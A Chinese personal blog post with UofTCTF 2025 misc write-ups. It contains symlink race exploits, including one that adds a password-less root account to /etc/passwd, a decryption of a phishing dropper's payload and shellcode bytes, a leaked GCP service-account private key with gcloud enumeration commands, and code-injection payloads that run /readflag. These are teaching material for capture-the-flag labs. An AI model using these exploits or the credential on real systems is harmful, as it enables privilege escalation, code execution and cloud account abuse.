Featured image of post uoftctf-2025 misc支线

uoftctf-2025 misc支线

看看misc怎么写

misc 赏玩

隔壁web有一个点卡了7,8个小时怎么也过不去,过来misc逃避一下现实

Surgery

上来直接开盒这么刺激吗😖

第三个小哥年少有为啊

Math-test

小北计算器还在追我tmd😡

这个题为了调试脚本我把他改成5次计算了,因为是第一次写两个进程的交互所以我还是想深入学一下这个写法的

先看一下题目脚本的执行逻辑,弹出

1
2
Question: {计算式}
Answer: {用户输入}

那我就需要写一个脚本可以捕获隔壁输出计算出结果再输出到隔壁。这里需要用到一个叫 Pexpect 的库,他可以使代码完成交互使任务,ai如是说:

  1. 启动程序:它可以运行任何命令行程序,比如 sshftpgit,或者我们这里的 python chall.py
  2. “看到”输出:它可以读取被它启动的程序的输出文本,就像我们用眼睛看屏幕一样。
  3. “等待”提示:这是Pexpect最强大的地方。它可以等待特定的文本模式(比如一个登录提示 login: 或者一个问题 Question:)出现。这使得自动化脚本能够与程序同步,在正确的时间做出正确的反应。
  4. “输入”指令:它可以向被控制的程序发送文本,就像我们用键盘输入命令然后按回车一样。

看一下脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import pexpect

child = pexpect.spawn(f'{sys.executable} chall.py')  # 启动任务程序

child.logfile_read = sys.stdout.buffer  # 让对面的程序的输出也显示在屏幕上

for i in range(5):
    child.expect("Question:")   # 等待 Question

    eqn = child.readline().decode('utf-8').strip()  # 提取表达式

    print(f"Received equation:{eqn}")

    result = eval(eqn)
    print(f"Cal result:{result}")

    child.sendline(str(result)) # 将表达式输出到父进程,我这样说对吗🤔


child.expect(pexpect.EOF)  # 确保退出

Racing-1

第一次知道docker还能连接ssh

连上去看看什么情况

看看C代码

1
2
3
4
5
6
char *fn = "/home/user/permitted";

if (!access(fn, R_OK)) // 判断是否有read /home/user/permitted 的条件,如果有 "access(fn, R_OK)" 返回0,好怪啊
{
  if (strstr(f, "flag") != NULL) // 软链接
}

但是没有这个文件

直接执行文件报错

1
2
user@e73f3cd3fc1f:/challenge$ ./chal 
Cannot read file.

那我手动创建一个不就行了吗🤓☝️

这也没拦着我啊,何eva?

然后去看了一下WP,本质还是创建符号链接,但又利用了代码里的其他逻辑,好像还复杂了

1
2
3
4
5
6
7
8
user@e73f3cd3fc1f:~$ /challenge/chal
Enter file to read: ^Z
[1]+  Stopped                 /challenge/chal
user@e73f3cd3fc1f:~$ ln -sf /flag.txt ~/permitted
user@e73f3cd3fc1f:~$ fg
/challenge/chal
               
uoftctf{r4c3_c0nd1t10n5_4r3_c00l}

所以何eva

Poof

ai率百分百的侦探游戏

这个题我就wireshark还会用一点,其他全不了解,都是ai给我干的

侦查阶段学到一个非常好用的命令

1
tshark -r poof.pcapng --export-objects http,exported_files/  

这个命令可以自动提取流http协议中出现的文件,不需要追踪和去除多余信息

主要得到的是两个文件

  • kcaswqcd.ps1 一个高度混淆的PowerShell脚本
  • 82nvdkandf.bin 加密的二进制恶意文件

ai根据整个流量包分析出这是可能是一个钓鱼攻击,下载到木马的记录。

受害者下载并运行 kcaswqcd.ps1 脚本,这个脚本它立即向服务器发起新的请求,下载,解密并执行最终的恶意文件82nvdkandf.bin。

绕这么一大圈就是一方面通过加密能绕过防御,另一方面有一个触发的trigger,还是很精彩的攻击的,还原也很有意思,像是在玩侦探游戏

然后可以让ai根据 kcaswqcd.ps1 的逻辑写一个解密 82nvdkandf.bin 的脚本,因为我不是学密码的就不研究这个了,只贴出来供读者参考:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import os

def decrypt_file(hex_payload_file, decrypted_file):
    
    key = "sksd89D2G0X9jk2fF1b4S2a7Gh8aVk0L".encode('utf-8')
    iv = "Md33eFa0ZwNx2qY1"[0:16].encode('utf-8')

    if not os.path.exists(hex_payload_file):
        print(f"[!] 错误: 十六进制载荷文件 '{hex_payload_file}' 不存在!")
        return

    print(f"[*] 正在读取十六进制载荷文件: {hex_payload_file}")
    with open(hex_payload_file, 'r') as f:
        hex_payload_raw = f.read()
    
    hex_payload_clean = "".join(hex_payload_raw.split())
    
    encrypted_bytes = bytes.fromhex(hex_payload_clean)
    
    print(f"[*] 正在使用正确的密钥和IV进行解密...")
    try:
        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted_data = unpad(cipher.decrypt(encrypted_bytes), AES.block_size)
    except ValueError as e:
        print(f"[!] 解密失败: {e}")
        return
        
    print(f"[*] 正在将解密后的内容写入: {decrypted_file}")
    with open(decrypted_file, 'wb') as f:
        f.write(decrypted_data)
        
    print("\n[+] 解密成功!")
    print(f"    最终的载荷已经被保存为 '{decrypted_file}'。")


if __name__ == "__main__":
    decrypt_file("82nvdkandf.bin", "decrypted_payload.exe")

侦查一下我们解密得到的可执行文件

1
2
file decrypted_payload.exe
decrypted_payload.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections

是.Net文件,当然我不知道他是干什么的,我去搜了一下,发现完全是另一个世界的东西,跟他有关的编译工具还要下载他家的全家桶,还必须是老版本,更不想知道他是干什么的了,不过我还是搞到了可以反编译这个文件的工具。

1
ilspycmd -p -o decompiled_project decrypted_payload.exe

得到的文件我不贴了,因为看到了那个文件,ai直接给我了最后得到flag的脚本,好像还是一个解密,因为这不是我的方向所以我也不深究了。附带脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
encrypted_shellcode = [
    129, 149, 255, 125, 125, 125, 29, 244, 152, 76,
    189, 25, 246, 45, 77, 246, 47, 113, 246, 47,
    105, 246, 15, 85, 114, 202, 55, 91, 76, 130,
    209, 65, 28, 1, 127, 81, 93, 188, 178, 112,
    124, 186, 159, 143, 47, 42, 246, 47, 109, 246,
    55, 65, 246, 49, 108, 5, 158, 53, 124, 172,
    44, 246, 36, 93, 124, 174, 246, 52, 101, 158,
    71, 52, 246, 73, 246, 124, 171, 76, 130, 209,
    188, 178, 112, 124, 186, 69, 157, 8, 139, 126,
    0, 133, 70, 0, 89, 8, 153, 37, 246, 37,
    89, 124, 174, 27, 246, 113, 54, 246, 37, 97,
    124, 174, 246, 121, 246, 124, 173, 244, 57, 89,
    89, 38, 38, 28, 36, 39, 44, 130, 157, 34,
    34, 39, 246, 111, 150, 240, 32, 23, 124, 240,
    248, 207, 125, 125, 125, 45, 21, 76, 246, 18,
    250, 130, 168, 198, 141, 200, 223, 43, 21, 219,
    232, 192, 224, 130, 168, 65, 123, 1, 119, 253,
    134, 157, 8, 120, 198, 58, 110, 15, 18, 23,
    125, 46, 130, 168, 30, 16, 25, 93, 82, 30,
    93, 19, 24, 9, 93, 8, 14, 24, 15, 93,
    17, 24, 26, 20, 9, 8, 14, 24, 15, 93,
    8, 18, 27, 9, 30, 9, 27, 6, 42, 73,
    14, 34, 76, 41, 34, 47, 78, 28, 17, 17,
    4, 34, 28, 51, 34, 52, 16, 13, 17, 73,
    19, 9, 66, 66, 0, 93, 82, 28, 25, 25,
    93, 82, 4, 125
]

key = 125

decrypted_shellcode = []

for byte in encrypted_shellcode:
    decrypted_byte = byte ^ key
    decrypted_shellcode.append(decrypted_byte)

flag = bytearray(decrypted_shellcode).decode('ascii', 'ignore')

print("--- Decrypted Shellcode ---")
print(flag)

最后最重要的一点,滚快照清除我的新旧.Net全家桶

再见了,所有的.Net工具👋

Racing-2

我之前竟然一直没去了解过 /etc/passwd 的写法

  • /etc/passwd 文件格式总结

/etc/passwd 是 Linux 系统的核心用户数据库,用于存储用户账户的基本信息。该文件是全局可读的。它的每一行代表一个用户,由 7 个冒号 (:) 分隔的字段组成。

标准格式: username:password:UID:GID:GECOS:home_directory:login_shell


  • 字段详解表
字段 示例 (root用户) 字段名称 核心作用与解释
1 root 用户名 用于登录和识别用户的字符串。
2 x 密码 一个占位符 x,表示加密后的密码安全地存储在只有root可读/etc/shadow 文件中。这是为了防止普通用户获取密码哈希进行离线破解。
3 0 用户ID (UID) 权限的核心。Linux 内核通过 UID 来识别用户和判断权限。UID 0 是为超级用户 root 保留的特殊 ID,拥有系统的最高权限。
4 0 组ID (GID) 用户所属主要组的 ID。GID 0 对应 root 组。
5 root GECOS/注释 用户的描述性信息,如全名、联系方式等。在 CTF 中通常不重要。
6 /root 家目录 用户登录后默认所在的目录路径。
7 /bin/bash 登录Shell 用户登录后启动的命令行解释器。如果设为 /sbin/nologin/bin/false,则表示该用户不允许登录。

题目本身看这个WP也很清晰了,没有用到比竞争条件更复杂的东西

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
user@a9d7f5c87bf6:~$ touch ~/permitted
user@a9d7f5c87bf6:~$ cd /challenge
user@a9d7f5c87bf6:/challenge$ ./chal
Enter text to write: ^Z
[1]+  Stopped                 ./chal
user@a9d7f5c87bf6:/challenge$ ln -sf /etc/passwd ~/permitted
user@a9d7f5c87bf6:/challenge$ fg
./chal
root2::0:0:root2:/home/root2:/bin/bash
user@a9d7f5c87bf6:/challenge$ su root2
root2@a9d7f5c87bf6:/challenge# cat /flag.txt
uoftctf{f1nn_mcm155113_15_my_f4v0r173_ch4r4c73r}

Out Of The Container

以后要是有实力能出国了办张银行卡

我发现复现这种misc题目,不仅要解这个题,还得猜这个题给的时候是什么样子,不看WP不说怎么解题,连这个题目何意味都不知道

本题的一半是要求在题目官方的云服务器上完成的,嗯,如果要模拟题目流程中的种种那就不是复现解题而是根据WP复现出题了,而且这个谷歌的云平台还要绑定境外银行卡😑

先看一下本地能干什么,通过观察和搭建./Docerfile,我们可以发现环境执行了

1
2
3
4
5
COPY files/ /tmp/

RUN cat /tmp/config.txt

RUN rm -rf /tmp/

也就是复原在docker搭建环节出现过但之后又被删除的文件,感觉这个识别并记录 files 和之后的 rm 操作都不在一个层面上

使用docker save windex123/config-tester -o challenge2.tar可以保存题目的环境的镜像文件,在云服务器上要是遇到太大的项目从dockerhub上扒不下来,可以在本地扒完打包镜像传到云服务器上制作镜像

打包的文件里面包含docker在搭建的时候包含的所有信息而不是最后run的时候呈现的东西,所以能grep到被删除的文件。

感觉之前好像用过这个命令,但当时不知道这个特性

之后的步骤需要对应的线上题目环境,我没有国外银行卡,也不想浪费免费额度,就直接看着WP脑补了,看看上一步泄漏的隐藏信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
  "type": "service_account",
  "project_id": "uoftctf-2025-docker-chal",
  "private_key_id": "b5206d879aa7ef0a596f1c54462b153c358eaf53",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHfxbGyzji+f1w\njRbB6HooNfs2LP21h3buwozgj5AUl9peJm4WTSBFast99inBWdXRFuEoxwJx8YBM\ngQ3JPEGTzQI/LRzDWXaoPM03yQlwUjYNrxuzPaUVT/F97ggXaiAoavvjIvnRJLFt\ni1ri1haBVoZRniKI7k473Q8XWm5fYyKDQsZs9WaqOagHKGeT0LNkkN9lXJ1j1Epz\nT7eFeemKZmxVZ6u2pR7NOxfXzWr+Ctbuc9VLqGUaeJPsxiHzWNisIiOk9zeDCmFz\nEGrXW06uJAn31m1TT4eUNOzI7nZndVqqUfO8bZc0B2r+7pJJgzrPGV434sekcX+K\ngOXW4R8dAgMBAAECggEAGZjj+kPvG6iJ7VwdFGpY6jnq7sudDiLAjuglnVauXQYS\n/cueinwA7QdD7vib6PQ27CosX8gRNz+Of8J7W1vA6k7+v85xB1u+Tt3mUwcXj/Ls\nfpr+SeRZ/z8PtGHLZf22/Jilk0JUnZJAtdaQpdRkdNn+SBCrS7iQDzxRCGURDmn2\nh1J75218s+9+uYxEiGbX1g2gaq0rn2QNJzQwXnLapifurBId07ferMFzOPOV6zT3\nAyCTcAKpsqtkkKGFTKxujD5pS3+iaN2mx0lsBjvP5c45lUc80jh+IZNWsURkBSTH\nuJWUngenWUofa4+1c385pnpwJ1euV/sl13a4FO+4fQKBgQD+gU9toBUWFQ577z95\ntbR/gy4mOgrEsy5SO/6WNXFKjihqTNmOc9zAq65wCoit2IF4CeDsnbMk1bie2NiD\nHBnXs6RKIHWeWZBkdHM4eHUO5gNksYAzEF5EeFSXaKqaQbEoVUCC1moAKQF6B9lZ\nfXDS6Qza76NhXmT1DBqPt5pyWwKBgQDIqxBxrOYIwOEsnBDOy3eeEhyY82CC2j6B\nencLng3DVarwtf+kOOXTOnqaZPmESMs2pMbUFPIQN+4p3cQ4JhKcPiXSJyscY5do\nVysVtA4YhWwDFiZtmxjzKXhkF5/KcYvpGrqj50EDfBtSTYnpZODHQcXNuTLGZO8r\nGG1aLoD95wKBgG04VzrnkUUJwk6DjQ0RYqW6SSrUi9yAPOfDoW0bAESLn2KHGnJc\n3Ka+xryEeMWKfX1jV+iTgNbU9UcOLlSN0bVU/bNmHLPZIfNKWkwovauoIFqtJiRD\n6QCfV0Ym/9f1Sy7Q7z92/sSU1HJnPep+v9VzeDXY05esp8zV5ew5UgmzAoGBAJyo\n0CGu9beHvUNyY7zOJAiH40OVXZdKgtnane236s7Apr9dlsLCmMobMXQvuIyJt/xl\nD8SqxX/b6ldNBs8/CfBopGY4pfN33NBcnQpIk2iZYQXX2RBgsU3E5nRd7SXDF5NY\nhrVG6P6reTj7x9sqIkHtG1vMZdN1ITLn0xdAjvupAoGARDFZ+hk6zqyawfLkg+o1\n0v2rXztzeu/k+dMbmlMCPMwNnJzfoIy3YZxdSAUx9bgm3HaGlVJEszHMCujEop3i\n4M+Klb+MB5uMRVgZsrHhl/Gco0+rg1X3mLyxa8YLeeQ/B6AQFOI6r3mBHiRngYll\nQMg8o1APQ68Wh/3PhBbHIxU=\n-----END PRIVATE KEY-----\n",
  "client_email": "docker-builder@uoftctf-2025-docker-chal.iam.gserviceaccount.com",
  "client_id": "112040922998091528251",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/docker-builder%40uoftctf-2025-docker-chal.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

这是一个Google Cloud Platform (GCP) 的密钥,有了它我们就可以伪装成这个身份登陆到云端了,然后需要进一步侦查云端,根据题目提供的代码和wp可以脑补一下真实环境会发生的事情,我是第一次知道这种cli管理云端的方式,相关命令也是第一次接触,更多是记录新知识吧

1
gcloud projects list  # 列出现有项目

预期结果:

1
2
PROJECT_ID                  NAME                PROJECT_NUMBER
uoftctf-2025-docker-chal    Docker Challenge    123456789012

根据接下来的操作可知我们肯定有查看构建服务记录的权限,而且我的账号名本来就是叫docker-builder

1
gcloud projects get-iam-policy uoftctf-2025-docker-chal # 查看权限

然后查看搭建日志可以看到在云端搭建的dockerfile,其实就git clone了一个项目

1
2
gcloud builds list
gcloud builds log 4a4bbc46-5a8b-4d36-a23f-39366ab2eac7

最后能在github上找到这个https://github.com/OverjoyedValidity/countdown-timer/blob/main/settings.txt 里的flag,这个url现在还在

写完这个题我又问ai了一些关于云服务的问题,才知道阿里云原来也有cli版本,感觉算是情理之中意料之外,以前都往这方面想过用的都是web面板。

Walk in the Forest

机器学习都来了

比起怎么解题,我本人对源码更感兴趣一些,研究了一下发现但从使用上来说意外的很简单,就觉得这个库确实是非常厉害的作品

训练模型只用了两个py文件

create_dataset.py 把flag处理成训练信息发给 model.py 用来建立模型, 中间的代码基本只涉及 flag 的编码解码规则,具体训练竟然只用一个函数就解决了,但想想也应该是这样,我对python的理解太少了

构成这个题目核心逻辑的地方有两点:

1
2
    X_train, X_test, y_train, y_test = train_test_split(
        X, y, test_size=0.05, random_state=seed)

这里把数据集一部分用来训练,另一部分用来测试效果,但是因为这个题目本来就不是机器学习的应用场景,每个字符对应的编码像个字典一样只和自己的ascii码有关,并没有什么规律,拿去测试也不可能匹配的上,那这些用于测试的字符就相当于完全被模型无视了,如果想直接从模型中问出flag就会缺失这部分的信息,(当然要是运气好代码拿噪音数据去测试就没这个问题,但题目给的模型是残缺的,但题目应该没有在这里为难)

1
 clf = RandomForestClassifier(bootstrap=False)

这里就是选择模型并指定参数bootstrap=False,这里的bootstrap默认为true, 可以让每棵树训练时,随机从总数据里抽样。有些数据可能被重复抽到,有些可能一次都没被抽到。这是为了让模型更通用,如果关了这个参数那每棵树都强制使用完整的训练数据集,导致模型极度过拟合,模型会把训练集里的每一个细节都死死记住,因为上面提到的这个情景的特性,如果不用这个参数那估计什么也提取不出来

以下是我拷打ai得到的非常硬核的手工复刻算法推理引擎的方案,基于随机森林这个算法本身,把每个字符放到这个树手动在里面走一遍来看结果,但是要用逆向分析得到数据处理的方式

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import pickle
import numpy as np
import collections

# ==========================================
# 1. HackUnpickler: 核心加载模块
# ==========================================
class StubSklearn:
    def __init__(self, *args, **kwargs): pass
    def __setstate__(self, state): self.__dict__.update(state)

class StubTree:
    def __init__(self, *args, **kwargs): pass
    def __setstate__(self, state): 
        self.nodes = state['nodes']
        self.values = state['values']

class HackUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if name == 'Tree': return StubTree
        if 'sklearn' in module: return StubSklearn
        return super().find_class(module, name)

# ==========================================
# 2. 改进的预测逻辑:返回票数分布
# ==========================================
def get_votes(forest, features):
    """
    返回所有类别的得票数
    """
    n_classes = len(forest.classes_)
    total_votes = np.zeros(n_classes)
    
    for tree_wrapper in forest.estimators_:
        if hasattr(tree_wrapper, 'tree_'):
            tree = tree_wrapper.tree_
            node_id = 0
            nodes = tree.nodes
            # 遍历决策树
            while nodes[node_id]['left_child'] != -1:
                feature_idx = nodes[node_id]['feature']
                threshold = nodes[node_id]['threshold']
                if features[feature_idx] <= threshold:
                    node_id = nodes[node_id]['left_child']
                else:
                    node_id = nodes[node_id]['right_child']
            
            # 累加这棵树的投票
            # tree.values 通常是 [[0, 1, 0...]] 这种形状,取第一行
            votes = tree.values[node_id][0]
            
            # 安全加法,防止维度不一致
            if len(votes) == len(total_votes):
                total_votes += votes
    
    return total_votes

# ==========================================
# 3. 主逻辑:基于分数的筛选
# ==========================================
def solve():
    model_path = '../dist/model.pkl'
    print(f"[*] 加载模型: {model_path}")
    
    with open(model_path, 'rb') as f:
        model = HackUnpickler(f).load()

    classes = model.classes_
    print(f"[*] 模型类标签: {classes}")
    
    # 存储最佳结果: { position: (max_score, [char_list]) }
    best_candidates = collections.defaultdict(lambda: (-1, []))
    
    print("[*] 正在进行全字符扫描与投票分析...")
    
    for char_code in range(32, 127): # 扫描可见字符
        char = chr(char_code)
        # 转二进制特征
        features = [int(b) for b in f"{char_code:08b}"]
        
        # 获取该字符在所有类别上的得票
        votes = get_votes(model, features)
        
        # 找出得票最高的那个类别(位置)
        pred_idx = np.argmax(votes)
        max_vote = votes[pred_idx]
        pred_label = classes[pred_idx]
        
        # 只要得票 > 0 且是有效位置 (1-9)
        if max_vote > 0 and 1 <= pred_label <= 9:
            current_best_score, current_chars = best_candidates[pred_label]
            
            if max_vote > current_best_score:
                # 发现更高置信度的字符,覆盖旧的
                best_candidates[pred_label] = (max_vote, [char])
            elif max_vote == current_best_score:
                # 分数一样,添加到候选列表 (平票处理)
                current_chars.append(char)
                best_candidates[pred_label] = (max_vote, current_chars)

    # ======================
    # 4. 输出与拼凑
    # ======================
    print("\n[*] 分析结果:")
    flag_parts = []
    
    for i in range(1, 10):
        if i in best_candidates:
            score, chars = best_candidates[i]
            
            # 如果有多个候选,优先选 ASCII 码符合 Leet 语法的
            # 这里我们只打印出来给用户看
            char_display = "/".join(chars)
            print(f"  位置 {i}: '{char_display}' (得票: {int(score)})")
            
            # 自动选择逻辑:如果有多个,取第一个(通常 ASCII 较小的那个,比如 'b' vs 'j')
            flag_parts.append(chars[0]) 
        else:
            print(f"  位置 {i}: [缺失] (模型中没有对应类标签)")
            flag_parts.append("?")

    raw_flag = "".join(flag_parts)
    print("-" * 30)
    print(f"✅ 自动推断 Flag: uoftctf{{{raw_flag}}}")
    print("⚠️ 注意:如果出现 ?,请根据单词 br4nch0u7 (branch out) 进行猜解。")
    print("-" * 30)

if __name__ == "__main__":
    solve()

得到的结果如下,可以看到第六个字符没有在模型中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
python solve.py
[*] 加载模型: ../dist/model.pkl
[*] 模型类标签: [0 1 2 3 4 5 7 8 9]
[*] 正在进行全字符扫描与投票分析...

[*] 分析结果:
  位置 1: 'b' (得票: 100)
  位置 2: 'r' (得票: 100)
  位置 3: '4' (得票: 100)
  位置 4: 'n' (得票: 100)
  位置 5: 'c' (得票: 100)
  位置 6: [缺失] (模型中没有对应类标签)
  位置 7: '0' (得票: 100)
  位置 8: 'u' (得票: 100)
  位置 9: '7' (得票: 100)
------------------------------
✅ 自动推断 Flag: uoftctf{br4nc?0u7}
⚠️ 注意:如果出现 ?,请根据单词 br4nch0u7 (branch out) 进行猜解。
------------------------------

这个字符完全是没有出现在模型中的,是物理层面上的无解,可能当时题目提供了刷新模型的功能,但这里也可以直接猜出flag原话是branch out,这种给你个文件的题目的flag又不像web是随机的

wp给出的方案是基于随机森林模型的漏洞,给出了一个DRAFT 重构的论文woc,两个方案在这个题目中效果是一样的,但是要是在更真实的环境下他这个方案准确率是拉满的,因为他是通过漏洞得到数据,而不是拷打模型得到的,😑,这个太复杂我就不研究了,我就体验一下机器学习

这里指个路 DRAFT 论文 (ArXiv) DRAFT GitHub 仓库uoftctf{fake_flag}

Model Assembly Line

世界是一个巨大的小北计算器

这个题目除了应用场景和小北计算器不一样,防御不如小北计算器厚基本就是他的python版本,exp的思路也一样,但是我还是没写出来,

感觉这种题目很考验在CTF的经验,比如那个小北计算器就是,写出来这个题的人好像都对这些比较经典的会产生漏洞的函数起码是有一面之缘,嗯~,我去拷打ai也没有得到一个比较好的途径

可以对比一下两个题的要素

  1. 本题:
  • def YOUR_MODEL(prompts: Iterable['[__import__("os").system("/readflag")]']): \n pass

要素: 漏网之鱼类型注解绕过AST解析,前向引用提供潜在eval(),字符串直接被当作python代码解析

  1. 小北
  • setTimeout(atob(/zphID0gRGVuby5yZWFkVGV4dEZpbGVTeW5jKCcvZmxhZycpLy9/))

要素: 漏网之鱼正则绕过AST解析,serTimeout提供潜在的eval(),隐式转换让代码可识别,白名单绕过,js解析顺序,原型链污染,base解析机制,作用域等

可以看到这个小北计算器从知识覆盖面上是要完胜本题的,但是这个题目中python特色的利用还是有必要积累一下的:

类型注解

普通写法:

1
2
def greeting(name):
    return "Hello " + name
1
2
def greeting(name: str) -> str:
    return "Hello " + name

在这个例子中,: str 就是类型注解,从 Python 3.5 开始,引入了 Type Hints(PEP 484),允许开发者声明变量或函数的期望类型。

在本题的情况下,对于 AST 来说,这些注解默认是不产生运行效果的。它们通常被忽略,或者是存储在 annotations 属性里供 IDE、静态检查工具(如 mypy)或第三方库(如 pydantic, spacy)使用。

我的注解 Iterable['[__import__("os").system("/readflag")]']'[__import__("os").system("/readflag")]' 被解析成字符串绕过防御,这个'同时也涉及python的第二个特性:前向引用

前向引用

在写类型注解时,有时你需要引用的类型还没被定义。比如:

1
2
3
4
class Node:
    # 报错!因为此时 Node 类还没定义完,不能在内部引用自己
    def add_child(self, child: Node): 
        pass

这里,Python 允许你用字符串来写类型。

1
2
3
4
class Node:
    # 合法!Python 先把它存成字符串,以后再说
    def add_child(self, child: "Node"):
        pass

这就是前向引用:暂时用字符串占位,等真正需要用到类型检查的时候,再去解析这个字符串。

当这个函数被解析的时候,py要去查看这个参数是被定义成什么形式的变量的,就会进入字符串,解析设计好的利用链’[import(“os”).system("/readflag")]’],触发恶意代码,而Iterable[]是這種寫法的格式,就不多說了,我的輸入法出問題不知道為什麼開始寫繁體字了,woc這字怎麼這麼多筆畫,寫著不得累死

嗯,感觉这个题写不出来就是单纯不知道这些奇奇怪怪的用法,得到wp一下就能知道怎么写,但总是靠看WP没有搜索能力也不是办法啊

感觉今天写的几个题目更多是看着源码或者WP无障碍学习了很多奇奇怪怪的知识,本身并没有太多的自己尝试或走弯路摸索的过程,博客写得也比较简单,毕竟这是杂项,本身也没有接触过,但是以后还是要先尝试自己写出来

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计